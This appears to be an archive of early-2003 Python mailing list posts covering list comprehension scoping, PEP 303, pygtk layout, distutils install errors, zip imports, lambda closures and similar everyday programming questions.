References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net> <mailman.1043723992.21150.python-list@python.org> <b151vs$qbr$1@wheel2.two14.net> <mailman.1043737792.4709.python-list@python.org> <rxsZ9.126669$AA2.5317615@news2.tin.it>
Message-ID: <dYvZ9.31899$Vh.4490@news2.central.cox.net>

"Alex Martelli" <aleax at aleax.it> wrote in message
news:rxsZ9.126669$AA2.5317615 at news2.tin.it...
> Cliff Wells wrote:
>    ...
> > Well, if conciseness is the goal, I'm shocked that no one has suggested
> > the obvious and practically idiomatic:
> >
> > if filter(None, [match for match in [re.search(pattern1, target)]]):
> >     print "1", match.string
> > elif filter(None, [match for match in [re.search(pattern2, target)]]):
> >     print "2", match.string
> > else:
> >     print "no match"
>
> Weird to use filter AND list comprehension when just the latter
> would suffice,,,:
>
> if [match for match in [re.search(pattern1,target)] if match]:
>
> etc.  The if clause in the list comprehension is useful here.
>
>
> Personally, I consider this idiom a (slight) _abuse_ of list
> comprehensions -- specifically, of the "implementation detail"
> that any identifier that gets bound in the for clause of a
> list comprehension gets bound in the SURROUNDING scope, i.e.,
> a list comprehension does not define a new nested scope.
>
> I guess that, if the idiom becomes a popular replacement for
> the missing assign-and-test, all future releases of Python
> will be practically constrained to let list comprehensions
> always "pollute" the surrounding scope in this way.  But this
> does not strike me, personally, as a very nice prospect anyway.
>
>

Unfortunately the developers have already backed away from making a list
comprehension use a private namespace for the bound variables, on the
grounds that there may already be software that takes advantage of the
pollution.

Personally I'm with you, and I think the bullet should be bitten
immediately. The longer it's left the more painful the transition will be.
But don't hold your breath. Python 3000, anyone?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From nicodemus at globalite.com.br  Thu Jan  2 11:13:10 2003
From: nicodemus at globalite.com.br (Nicodemus)
Date: Thu, 02 Jan 2003 13:13:10 -0300
Subject: Python vs. Ruby
In-Reply-To: <001501c2b1e4$dac88770$21795418@dell1700>
References: <001501c2b1e4$dac88770$21795418@dell1700>
Message-ID: <3E146516.4080301@globalite.com.br>


Brian Quinlan wrote:

>It's not just newbie friendly, it's also a semantic aid for experts. If
>chaining were typical in Python, then you would have no immediate
>indication if a method is returning a new value or (a possibly mutated
>version of) itself e.g. from reading this code:
>
>foo.sort()
>foo.count('a')
>
>I can intuit that the sort is being done inplace. From this code:
>
>foo.sort().count('a')
>
>I cannot.
>
>Since not using chained methods removes this semantic aid and it only
>saves you the cost of typing an identifier, I think that the Python
>design is reasonable.
>
>Cheers,
>Brian
>


I agree. Quoting from the docs, in the section "2.2.6.4 Mutable Sequence 
Types":

"The sort() and reverse() methods modify the list in place for economy 
of space when sorting or reversing a large list. To remind you that they 
operate by side effect, they don't return the sorted or reversed list."

I myself don't care much about chaining method calls, since the gains 
are relatively small compared to the confusion (as explained by Brian) 
that such a change would cause. I don't think adding "reversed()" and a 
"sorted()" methods to lists would be a good idea (like suggested in 
other emails in this thread), since it would cause even more confusion.

Farewell,
Nicodemus.







From klaatu at evertek.net  Fri Jan  3 20:13:16 2003
From: klaatu at evertek.net (Mike Dean)
Date: 4 Jan 2003 01:13:16 GMT
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <av4hmu$ir6$1@ins22.netins.net> <8t3e1vok48v8nlnmu7p5vbfhh4jifntlf6@4ax.com>
Message-ID: <av5cfc$8j6$1@ins22.netins.net>

On Sat, 04 Jan 2003 08:46:03 -0800 faust <urfaust at optushome.com.au> wrote:
> Mike Dean <klaatu at evertek.net> ,  emitted these fragments:

>>  I've since dropped any ideas of learning
>>Emacs completely, as, within 6 months of learning Vim, I was able to
>>fluently work with multiple bufferes and windows, multiple cut and paste
>>registers, and was writing my own scripts.

> If it took you 6 months to just learn to do that in Vim.....

I wasn't using Vim as heavily then as I am now (I was still a primarily
Windows user whose idea of a text editor was Notepad (or MS-DOS Edit).
It didn't occur to me at that time what all a text editor might be able
to do.).  I've now started doing more coding, am editing configuration
files, etc., and have needed a sophisticated editor a lot more.

-Mike



From johnroth at ameritech.net  Wed Jan  1 07:45:03 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 07:45:03 -0500
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se>
Message-ID: <v15om11f5lfr50@news.supernews.com>

"Thomas Bellman" <bellman+pep-divmod at lysator.liu.se> wrote in message
news:ausiq8$egi$1 at news.island.liu.se...
> This PEP proposes extending divmod() to accept multiple divisors.
> Please give your comments.  It can also be read on the web at
> <URL: http://www.python.org/peps/pep-0303.html>.

I want to object to this one strongly, on the basis that it is
a special case of something that, if it's useful at all, should
be generalized to include all of the operators.

Erik Mac Francis' comment about the APL encode operator
sounds about right, although I'd much prefer that thinking
go in the direction of functional languages.

I don't find the use cases very compelling. Sure, they exist,
but how many of us actually use chained division for those
conversions in every day life rather than use a library
module? And how many of those uses are actually
the performance bottleneck in the system?

As far as the nuts and bolts go, the operand should be
a sequence, not simply strung out as operands. There are
several reasons for this, but the major one is consistency:
if the result is a list, then the input operand should also be
a list.

John Roth







From jack at performancedrivers.com  Wed Jan  8 16:05:15 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Wed, 8 Jan 2003 16:05:15 -0500
Subject: Small problem when overloading member functions...
In-Reply-To: <ef7a350b.0301081234.69f16267@posting.google.com>; from sean@activeprime.com on Wed, Jan 08, 2003 at 12:34:01PM -0800
References: <ef7a350b.0301081234.69f16267@posting.google.com>
Message-ID: <20030108160515.B4744@localhost.localdomain>

On Wed, Jan 08, 2003 at 12:34:01PM -0800, Sean wrote:
> I'm a little new to the language, so please excuse me if I'm missing
> something obvious.  I've run into (what looks like) a strange
> inconsistency in the language.  Anyway, I have a setup where I
> initialize a class object within another class, and then have to
> overload one of the new object's functions:
> 
> BEGIN SAMPLE CODE:
> 
> class A:
>   def __init__(self):
>     pass
>     
>   def setFunction(self, fromFunc, toFunc):
>     fromFunc = toFunc
>     
>   def myPrint(self):
>     print 'Old'  
> 
> 
> class myClass:
>   def __init__(self):
>     a = A()
> 
>     #a.setFunction(a.myPrint, self.newPrint)
>     a.myPrint = self.newPrint
> 
>     a.myPrint()
> 
>   def newPrint(self):
>     print 'New'
> 
> 
> b = myClass()
> 
> 
> END SAMPLE CODE
> 
> The code above works fine, and prints out 'New' like it should. 
> However, when I try to use the commented line (a.setFunction...)
> instead of (a.myPrint = self.newPrint), the a.myPrint function is not
> getting overloaded and still prints out 'Old'.  It seems to me that
> since I'm passing both method instance objects to a.setFunction(),
> there should be no problem overloading them.  Is there a way I can do
> this with a function call?  It's important for this system to have a
> generic method for overloading functions...


The effect you are going for is regular inheritence,

class A:
  def __init__(self):
    self.myPrint()

  def myPrint(self):
    print 'Old'

class myClass(A):
  def __init__(self):
    A.__init__(self)
    
  def myPrint(self):
    print 'New'

b = myClass()
g = A()

will print
New
Old

-jackdied




From skip at pobox.com  Fri Jan 24 11:54:07 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 10:54:07 -0600
Subject: killing thread ?
In-Reply-To: <7xy95azf09.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
        <mailman.1043410542.25830.python-list@python.org>
        <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
        <b0rkdb$g9l$01$1@news.t-online.com>
        <7x3cni1sqp.fsf@ruckus.brouhaha.com>
        <b0rmru$6hb$04$1@news.t-online.com>
        <7xn0lqbkmh.fsf@ruckus.brouhaha.com>
        <3E31666F.8060605@v.loewis.de>
        <7xy95azf09.fsf@ruckus.brouhaha.com>
Message-ID: <15921.28591.698102.989195@montanaro.dyndns.org>

    Paul>     [phr at localhost]$ kill -l

    ...

    Paul> Pick one of the unused ones from the above (probably from the
    Paul> 33-61 range).

My MacOSX system only goes up as high as 31 (SIGUSR2).  Is calling kill(47)
going to be defined?

Skip




From LisaBizarre at gmx.de  Wed Jan  8 09:21:19 2003
From: LisaBizarre at gmx.de (Andras Schiff)
Date: Wed, 08 Jan 2003 15:21:19 +0100
Subject: reading the memory-space occupied by a PID
Message-ID: <3E1C33DE.3DD5CD17@gmx.de>

hi,
i want to write a program that gives out the the memory which is
currently occupied by a given PID.
With Unix-command 'top' you only get the maximal memory space wich was
ever used by the PID but not the current one, which might be much
smaller.
Iam an absolute Newbie in programming so i don't know if there is a way
in Python?
Thanks in advance, Andreas.




From clspence at one.net  Wed Jan 15 19:29:54 2003
From: clspence at one.net (Chris Spencer)
Date: 15 Jan 2003 18:29:54 -0600
Subject: Interesting problem comparing strings with integer values...
Message-ID: <dkub2vgjq4bvmipltiq1rtt1aaumqrnoc8@4ax.com>

	The comparison will not be done inside of a Python interpreter, but in
an SQL statement. ie...
select blah from table where value>"999" and value<"3432";

We're storing arbitrary data in text blobs, so we can't make "value" above an
integer type.

As I mentioned in my first post, while the above SQL statement would be
incorrect, the below SQL code WOULD.

select blah from table where value>"00000999" and value<"00003432";

This just seems incredibly hack-y to me.  It means that we'd have a hardcoded
limit for padding values with zeroes.  It gets even more fun when I talk
floating point values...But one step at a time.

Note that this works as well:
select blah from table where value>"1111100111" and value<"110101101000";

However, I've not been able to find an equivalent to hex() or oct() that would
turn integers into binary string representation.  If there IS such a beastie,
please let me know.

Chris.

On Wed, 15 Jan 2003 16:02:59 -0800, you wrote:

>On Wednesday 15 January 2003 15:23, Chris Spencer wrote:
>> Due to certain design constraints, I must be able to store both
>> integers and floating point numbers as strings.  These strings must
>> be able to be compared correctly, so things like: "999"<"3432" are
>> not possible. One option we thought of was padding the strings with
>> zeros, so things like: "00000999"<"00003432" would work.  This seems
>> a bit hack-y to me.  I was wondering if anyone has a more elegant
>> solution to the problem?
>
>If you must only store the numbers as strings, then you could easily 
>convert them back to number types for comparisons, ie:
>
>float("999") < float("3432")
>
>A fancy method would be to try converting to floats, and if that fails, 
>convert to longs for comparison.  If this approach isn't workable, then 
>you need to more clearly identify your needs.  Is speed an issue?  Is 
>it really only an issue of storing data as strings, or must you operate 
>directly on those strings as well, etc.?  And will the numbers all be 
>small (floats loose precision as they get to be very large, for example)




From vanevery at 3DProgrammer.com  Fri Jan 31 18:39:30 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:39:30 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu><mailman.1043793662.28129.python-list@python.org><CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net><gWOZ9.134330$AA2.5582397@news2.tin.it><Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net><bK6_9.140709$AA2.5799087@news2.tin.it><a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net><8bbd9ac3.0301302140.6938685c@posting.google.com><oPr_9.108013$0v.3123750@news1.tin.it><mailman.1044029142.17081.python-list@python.org><yyyhebpkyjd.fsf@adams.patriot.net><mailman.1044036665.13238.python-list@python.org> <yyy8yx1kpny.fsf@adams.patriot.net> <mailman.1044049745.26538.python-list@python.org>
Message-ID: <SOD_9.897$ek4.89990@newsread2.prod.itd.earthlink.net>

Mongryong wrote:
> On Fri, 2003-01-31 at 15:52, Nick Vargish wrote:
>> I didn't take any formal programming courses after High School,
> Imagine what the world would be like had Bill Gates actually graduated
> with a Computer Science degree....ah, everybody would have a true
> Unix-like machine with Python already installed on it...

No, you wouldn't.  People who don't give a crap about degrees get things
done.  That's why Microsoft is the business juggernaut that it is.  People
at Microsoft know that technology isn't the dominant component, business is.
The university guy is Linus Torvaldis.  Linux has the market growth pattern
of an engineer-centric product.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From mikeb at mitre.org  Tue Jan 21 17:55:30 2003
From: mikeb at mitre.org (Mike Brenner)
Date: Tue, 21 Jan 2003 17:55:30 -0500
Subject: Python, COM & Excel
References: <20030120214736.26373.51592.Mailman@mail.python.org>
Message-ID: <3E2DCFE2.C21B6ECE@mitre.org>

> There's a better way to get the objects/methods exposed from an Excel COM
> object :
> Look at the help of Excel :
> Programmer information>Visual Basic reference > Microsoft Excel objects
> All you need is translating VB API to Python.

That does not help much with borders or merged cells.


> Think I saw something like this on fr.comp.lang.python (was Tkinter...).


Another type of spreadsheet is a spreadsheet-like interface to a database over the web (dynamic html and svg xml generated by Python), using the <div> operator to provide user mouse-controlled column widths, using Python to execute the database queries and updates in each cell, etc.





From dagurp at heimsnet.is  Fri Jan 17 12:12:55 2003
From: dagurp at heimsnet.is (=?ISO-8859-1?Q?Dagur_P=E1ll_Ammendrup?=)
Date: Fri, 17 Jan 2003 17:12:55 +0000
Subject: tkinter ctrl-A in text widget
Message-ID: <b09dit$1iq8$1@mikill.isnet.is>

Hi!

I wanted to bind control-a to a method that selects all the text in a 
text widget, which seems logical to me. But when I use it, I just go to 
the beginning of line. So can't this be overridden? I'll never get used 
to using anything else for selecting the whole text.

Thanks in advance!
-Dagur




From colindb at u.washington.edu  Fri Jan 31 21:01:48 2003
From: colindb at u.washington.edu (Colin)
Date: 31 Jan 2003 18:01:48 -0800
Subject: MySQLdb and distutil errors?
Message-ID: <cf3889ae.0301311801.38eddb6d@posting.google.com>

Hi everyone,

First off, let me say that I'm a Python newbie.  I just started
playing around with it, but I'm running into some problems trying to
get things installed.  I want to install the MySQLdb module, but when
I try to run "python2.2 setup.py build" for MySQLdb I get the
following error:

Traceback (most recent call last):
  File "setup.py", line 6, in ?
    from distutils.core import setup
ImportError: No module named distutils.core


So okay, I don't have the distutils module.  I find that a little
weird, since I thought all later version of Python came with
distutils.  But anyways, I tried to install the distutils, and when
running "python2.2 setup.py install" for distutils I get:

Traceback (most recent call last):
  File "setup.py", line 30, in ?
    packages = ['distutils', 'distutils.command'],
  File "distutils/core.py", line 101, in setup
    _setup_distribution = dist = klass(attrs)
  File "distutils/dist.py", line 130, in __init__
    setattr(self, method_name, getattr(self.metadata, method_name))
AttributeError: DistributionMetadata instance has no attribute
'get___doc__'


I'm really not sure what's going on.  But I'm guessing that either (a)
I need to reinstall Python, or (b) my path/environment isn't set up
correctly.  Anyone have any suggestions?

Thanks!
Colin



From skip at pobox.com  Sat Jan 25 08:43:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 25 Jan 2003 07:43:22 -0600
Subject: December 2002 comp.lang.* stats
In-Reply-To: <b0tctd$9cn$1@bob.news.rcn.net>
References: <b0tctd$9cn$1@bob.news.rcn.net>
Message-ID: <15922.38010.209797.838807@montanaro.dyndns.org>

    Aaron> What you see below are pure and simple the number of unique
    Aaron> posters to each comp.lang.whatever hierarchy in December 2002.

Is a "unique poster" a single person (e.g. skip at pobox.com) or a "unique
post" (e.g. message-id <b0tctd$9cn$1 at bob.news.rcn.net>)?

Skip




From pedro_rodriguez at club-internet.fr  Mon Jan 20 06:17:29 2003
From: pedro_rodriguez at club-internet.fr (Pedro Rodriguez)
Date: Mon, 20 Jan 2003 12:17:29 +0100
Subject: Problems about my newbie code.( using pygtk )
References: <b0gjar$iiv@netnews.hinet.net>
Message-ID: <b0glsk$na6$1@s1.read.news.oleane.net>

On Mon, 20 Jan 2003 11:34:02 +0100, asho wrote:

> hi...
> I started to use the gtk with python to write some gui programs.
> 
> 
> my goal is to make a program window with two buttons.
> 
> Codes are listed below
> 
> #!/usr/bin/env python
> 
> # this is a translation of "Hello World III" from the GTK manual, #
> using gtk.py
> 
> from gtk import *
> import os
> 
> def vcdrip(*args):
>         #command = "vcdxrip --cdrom-device=/dev/cdrom -p" command =
>         "hehe"
>         os.system(command)
>         window.destroy()
> 
> def destroy(*args):
>     window.hide()
>     mainquit()
> 
> window = GtkWindow(WINDOW_TOPLEVEL)
> window.connect("destroy", destroy)
> window.set_border_width(50)
> 
> button = GtkButton("vcdrip")
> button.connect("clicked",vcdrip)
> window.add(button)
> button.show()
> 
> button2 = GtkButton("exit")
> button2.connect("clicked",destroy)
> window.add(button2)
> button2.show()
> 
> window.show_all()
> 
> mainloop()
> 
> When I run this program , it only appears a button with vcdrip.
> 
> Is there anything wrong with my ocde?? Please help me to solve the
> problem.
> 

I think that you can only add one widget to a GtkWindow (it is a GtkBin)
an that is why you get a warning message when you run your application :
Gtk-CRITICAL **: file gtkbin.c: line 217 (gtk_bin_add): assertion `bin->child == NULL'
failed.

Usually you add a container widget that manage the layout of sub widgets like a
GtkVBox.

from gtk import *
import os

def vcdrip(*args):
        #command = "vcdxrip --cdrom-device=/dev/cdrom -p"
        command = "hehe"
        os.system(command)
        window.destroy()

def destroy(*args):
    window.hide()
    mainquit()

window = GtkWindow(WINDOW_TOPLEVEL)
window.connect("destroy", destroy)
window.set_border_width(50)

v = GtkVBox()  # added 
window.add(v)  # added

button = GtkButton("vcdrip")
button.connect("clicked",vcdrip)
v.add(button)  # changed
button.show()

button2 = GtkButton("exit")
button2.connect("clicked",destroy)
v.add(button2) # changed
button2.show()

window.show_all()

mainloop()

Don't forget there is also a mailing list for pygtk :
http://www.daa.com.au/mailman/listinfo/pygtk

Pedro



From gustav at morpheus.demon.co.uk  Mon Jan 20 16:32:26 2003
From: gustav at morpheus.demon.co.uk (Paul Moore)
Date: Mon, 20 Jan 2003 21:32:26 +0000
Subject: Import from zip file?
References: <19804fd8.0301200235.7febb837@posting.google.com> <m3r8b73kby.fsf@mira.informatik.hu-berlin.de>
 <b0hcu6$a8a$0@216.39.172.122>
Message-ID: <r8b7wlqt.fsf@morpheus.demon.co.uk>

bokr at oz.net (Bengt Richter) writes:

> On 20 Jan 2003 16:35:45 +0100, martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=) wrote:
>
>>k.robert at gmx.de (Robert) writes:
>>
>>> What is the easyiest way to import modules/module-trees from zip
>>> files (Python 2.2)?
>>
>>Unpack the zip file, then add the directory to sys.path.
>>
> How deep is the dependence of import on the file system?

Not very, in some sense, given that Python 2.3 implements import hooks
allowing imports to come from *anywhere* (and specifically, supplies a
built in zip import module).

On the other hand, the changes were in low-level C code, so in some
sense Python 2.2's import does depend at a rather fundamental level on
the filesystem.

Of course, there are also existing import hook mechanisms such as
ihooks, imputil, and Gordon McMillan's iu, all of which work with
Python pre-2.3.

> Is there a reason you couldn't have import recognize a zip or tgz
> file as a virtual file directory tree to search and import from
> there, given a little hint via alternate syntax, e.g.,

You don't need new syntax. In Python 2.3, you just do
sys.path.append("bar.zip") and away you go.

>     import foo from 'bar.zip' as baz  # note the quotes -- it's a file spec, not dotted module

Where the import is satisfied from is a function of sys.path (or a
couple of other hook-related places in 2.3), not of the import
statement itself.

See PEPs 273 and 302 for more details...

Paul Moore.
-- 
This signature intentionally left blank



From jtk at yahoo.com  Mon Jan 27 23:29:51 2003
From: jtk at yahoo.com (Jeff Kowalczyk)
Date: Mon, 27 Jan 2003 23:29:51 -0500
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <mailman.1043682230.10653.python-list@python.org> <pan.2003.01.28.00.31.22.615165@dot.com>
Message-ID: <b1638q$4sr$1@main.gmane.org>

> Look at Mark Hammond's .NET related project
> http://starship.python.net/crew/mhammond/dotnet/

Right, I was aware of Mark's white paper on the subject, and its conclusion that any
generally usable Python.NET would be a long way off. Chetan's library seems to strike a
good balance between keeping python pythonic still having transparent access to the
powerful classes in the .NET framework.

I think an OSI-licensed C# implementation of it would get a lot of attention from Mono
users as a scripting language for .NET components running on linux and *nix. I look
forward to using KOBRA as it matures.







From lac at strakt.com  Sat Jan 25 19:29:26 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 01:29:26 +0100
Subject: Getting SuperUser Authority From Within Running Python Program 
In-Reply-To: Message from Tim Daneliuk <tundra@tundraware.com> 
   of "25 Jan 2003 23:50:07 GMT." <mq7v0b.6g8.ln@boundary.tundraware.com> 
References: <mq7v0b.6g8.ln@boundary.tundraware.com> 
Message-ID: <200301260029.h0Q0TQjL003858@ratthing-b246.strakt.com>

> Is there a way to have a running Python program acquire super-user status
> (assuming the program knows the correct password)?  If so, is this
> method portable to Win32 or will Unix and Win32 need different implementation
> s?
> 
> TIA,
> -- 
> -----------------------------------------------------------------------------
> -
> Tim Daneliuk
> tundra at tundraware.com

You do not want to do this.  You do not want a super-user shell out
there, ever, and without that there is no need or use for password
things. You will totally circumvent all the security mechanisms you
have.  The unix way to do something as root is to make a setuid
program -- NOT a shell script-- that does whatever you want done as
root and does that and only that.  You exec that when you want it. The
authority comes from the person who is allowed to change the
permission bits on a file, owned by root, to make it setuid. I have no
idea what you do for Win32, but I know for certain that this is not
it.

Please post what you want to do as root and why so we can figure out
what is the best thing for you to do.  

Laura




From jepler at unpythonic.net  Wed Jan 29 16:34:14 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 29 Jan 2003 15:34:14 -0600
Subject: is it a bug ??
In-Reply-To: <3E383FA0.3000000@wanadoo.fr>
References: <3E383FA0.3000000@wanadoo.fr>
Message-ID: <20030129213414.GD7716@unpythonic.net>

no, it's not a bug.

Jeff




From pbouige at free.fr  Wed Jan  1 15:59:32 2003
From: pbouige at free.fr (pbouige)
Date: Wed, 1 Jan 2003 21:59:32 +0100
Subject: Fw: Re: Quick tutorial on using the unicodedata module?
References: <mailman.1041379026.27989.python-list@python.org> <m3vg192w2y.fsf@mira.informatik.hu-berlin.de> <nlh61vc31lulq5l02mnlesvl1q4kh4hham@4ax.com>
Message-ID: <Usenet.eikceret@localhost>

Christos "TZOTZIOY" Georgiou wrote:
> 
> On 01 Jan 2003 08:00:37 +0100, rumours say that martin at v.loewis.de
> (Martin v. L?wis) might have written:
> 
> >downloading the Unicode database, and searching for a characters with
> >grep(1) is much more appropriate.
> 
> Would this help at all?
> 
> import unicodedata, sys
> 
> unicode_names= []
> for ix in range(sys.maxunicode+1):
>     try:
>         unicode_names.append( (ix, unicodedata.name(unichr(ix))) )
>     except ValueError: # no name for the character
>         pass
> 
> This is to be used for a grep-like function... therefore a list of
> tuples (indexing the list is not meaningful).
> 
> Happy new year to everyone following AD time notation :)





From andrew at indranet.co.nz  Sun Jan  5 19:15:41 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 13:15:41 +1300
Subject: lambda semantics in for loop
In-Reply-To: <280e901b.0301050436.b4e501d@posting.google.com>
References: <280e901b.0301050436.b4e501d@posting.google.com>
Message-ID: <2214300000.1041812141@localhost.localdomain>

>>> m=[]
>>> for i in range(10):
...   m.append(lambda x, y=i: x+y)
...
>>> m[0](0)
0
>>> m[1](0)
1
>>> m[2](0)
2
>>> m[0](0,1)
1

In other words, the same way as you do this for ordinary functions.

In python, any variable is an object reference, resolved when the code is 
run.  So in your example, all the i's resolve to the same value.  The body 
of a lambda is only executed at call time, the argument list has to be 
executed at define time, which is why mine works.

Andrew

--On Sunday, January 05, 2003 04:36:39 -0800 Henk Punt <henk at empanda.net> 
wrote:

> Hi,
>
> When I have the following bit of python code:
>
>>>> l = []
>>>> for i in range(10):
> ...     l.append(lambda x: x + i)
>
> I would expect:
>
> l[0](0) = 0
> l[1](0) = 1
>
> l[0](1) = 1
> l[1](1) = 2
>
> etc.
>
> instead
>
> l[0](0) = 9
> l[1](0) = 9
>
> l[0](1) = 10
> l[1](1) = 10
>
> It seems that the 'i' in the lambda binds to the last value of i in the
> for loop.
> Is this because 'i' is really a pointer and not the value of 'i' itself?.
> Please enlighten me!,
>
> How do I modify the example so that I would get my expected semantics.
> Should I copy 'i' to force the creation of a new object?, If so how would
> this work in the case where i is a string. I've tried to coerce python
> into making a deepcopy of a string so that id(s) != id(copy(s)) but I've
> not been able to do that also.
>
> Thanx already,
>
> Henk Punt.
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From Pete at nospam.com  Tue Jan  7 18:15:49 2003
From: Pete at nospam.com (Pete)
Date: Tue, 07 Jan 2003 23:15:49 GMT
Subject: Using python modules in Zope
Message-ID: <FcJS9.12028$oS1.52010@news-server.bigpond.net.au>

Hello,

I need to use xml.dom.minidom in a Zope python script but havent been able
to do so
due to Zope security on only allowing the base python.

I can do it using an External Method but then I lose all the security of
Zope.

Any ideas?

Cheers
Pete





From ark at research.att.com  Tue Jan 21 10:22:46 2003
From: ark at research.att.com (Andrew Koenig)
Date: Tue, 21 Jan 2003 15:22:46 GMT
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <3E2D0318.B792D649@alcyone.com>
Message-ID: <yu99smvmjznd.fsf@europa.research.att.com>

>> I hate code that takes up too many lines and
>> have come up with the ff. idiom to replace
>> many 4 line if statements:

>> result=[value-if-false,value-if-true][condition]

>> This idea could also be applied as a compact
>> switch block replacement in certain cases.

Erik> This works if you don't need to worry about short-circuiting
Erik> issues (i.e., you don't even want the true/false cases
Erik> _evaluated_ unless you're the selected), and you're sure that
Erik> the condition expression will evaluate to either 0 or 1.

Erik> In 2.2.x and greater, you can use [x, y][bool(p)] to get this;
Erik> prior to 2.2 you could use [x, y][operator.truth(p)].
Erik> Obviously, a tuple instead of a list will work just as well: (x,
Erik> y)[bool(p)].

And, of course, if you really want short-circuiting, you can write this:

    result=[lambda:value-if-false, lambda:value-if-true][condition]()

That is, if you don't mind people giving you funny looks on the street.

-- 
Andrew Koenig, ark at research.att.com, http://www.research.att.com/info/ark



From bokr at oz.net  Fri Jan 31 17:00:38 2003
From: bokr at oz.net (Bengt Richter)
Date: 31 Jan 2003 22:00:38 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org> <of5x8hdd.fsf@python.net> <mailman.1044031628.28902.python-list@python.org> <y9516wy8.fsf@python.net>
Message-ID: <b1erm6$5t9$0@216.39.172.122>

On 31 Jan 2003 18:38:55 +0100, Thomas Heller <theller at python.net> wrote:

>Christian Tismer <tismer at tismer.com> writes:
>
>> Thomas Heller wrote:
>> > Christian Tismer <tismer at tismer.com> writes:
>> 
>> [iscontainer implementation using buffer interface]
>> 
>> >>I'm (ab)using the fact that sequences which are
>> >>no containers usually support the buffer interface.
>> 
>> > This is worse, IMO.
>> > ctypes' instances support the buffer interface, whether
>> 
>> > they are sequences (or containers) or not.
>> 
>> After second thought, this is not worse, but great!
>> Nobody wants to see ctypes instances to be
>> used as containers for multiple arguments.
>> This is the domain of relatives of lists and tuples
>> and other, "plain Python" types.
>
>
>> 
>> Is there an object in ctypes which is meant as
>> a candidate for this domain? If not, then the
>> buffer approach is not so bad.
>
>Sure, something very similar to array.array('i'),
>but with fixed length.
>The way I see it, this is a container for integers,
>but stored more efficiently maybe, and 'meaningful'
>to C code at the same time.
>
>> A buffer means something to access the interior
>> of an object, which means that the object has
>> some flat memory somewhere. If you support
>> buffer, I think you say you are not a container.
>
>No, I don't think so.  'buffer' only says something
>about the internal implementation of the object.
>Being able to iterate over array.array instances, for
>example, is really useful.  Image you would always
>have to convert it to a list or tuple before.
>
>> Even if this is cheating, I'd take this as honest
>> and won't take you as a parameter list. :-)
>
>Back to the original problem, the OP wanted to decide
>IIRC if he's got a single object, or a container.
>
A container can be a single object for some purposes, so purpose
has to be involved in the decision. Unfortunately that tends to
involve the universal DWIM function ;-) If the purpose of an
object is to act like a container only in the aspect of being
able to produce a series of objects, you can't infer anything
about the type of the objects you will get or how they were
produced. Or else "container" has to be a pretty narrow concept.

>Only Python strings are a problem here, so IMO a stringlike
>test like Alex suggested is what is wanted.
IMO using a particular behaviour probe to infer general behavior
and/or type info is fraught with pitfalls. E.g., that innocent '+'
in Alex's probe changes the question from "will you act like a string"
to "do you implement '+' with the other arg specifically being "''"
without raising an exception. It is not the same question. Not to
mention what an unknown object might do in terms of side effects
and/or execution time when probed.

I think there is more thinking to do ;-)

Regards,
Bengt Richter



From mlh at furu.idi.ntnu.no  Wed Jan 22 22:45:50 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 03:45:50 +0000 (UTC)
Subject: Interleaved commands and options with optparse?
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>  <BA54C839.2F3FE%goodger@python.org>
Message-ID: <slrnb2upbe.d9h.mlh@furu.idi.ntnu.no>

In article <BA54C839.2F3FE%goodger at python.org>, David Goodger wrote:
[snip]
>Set up an OptionParser instance for the global options, and be sure to set
>the allow_interspersed_args attribute to 0/False.

Ah. Useful. Too bad it isn't mentioned in the docs <0.3 wink>.

(Yes, I see it's in the docstring for OptionParser.)

> Then parse your arglist.
>The global options will be parsed, and the first item of the
>remaining arglist will be your subcommand.  Set up a new OptionParser
>instance for that subcommand, and parse the remainder of the command
>line.

Indeed. Quite useful. This really ought to be in the docs. (If it is,
I apologize -- I went through all the doc pages and searched for it;
and Google only returned one checkin-message from
cheetatemplate-commits and a single message from the optik list...)

Anyway, thanks for the tip!

-- 
Magnus Lie Hetland
http://hetland.org



From dpawson at nearlynildram.co.uk  Sun Jan  5 07:01:59 2003
From: dpawson at nearlynildram.co.uk (Dave Pawson)
Date: 05 Jan 2003 12:01:59 GMT
Subject: date time arithmatic
Message-ID: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147>

Put simply I would like to determine the number of 
days between now() and some date in the past.

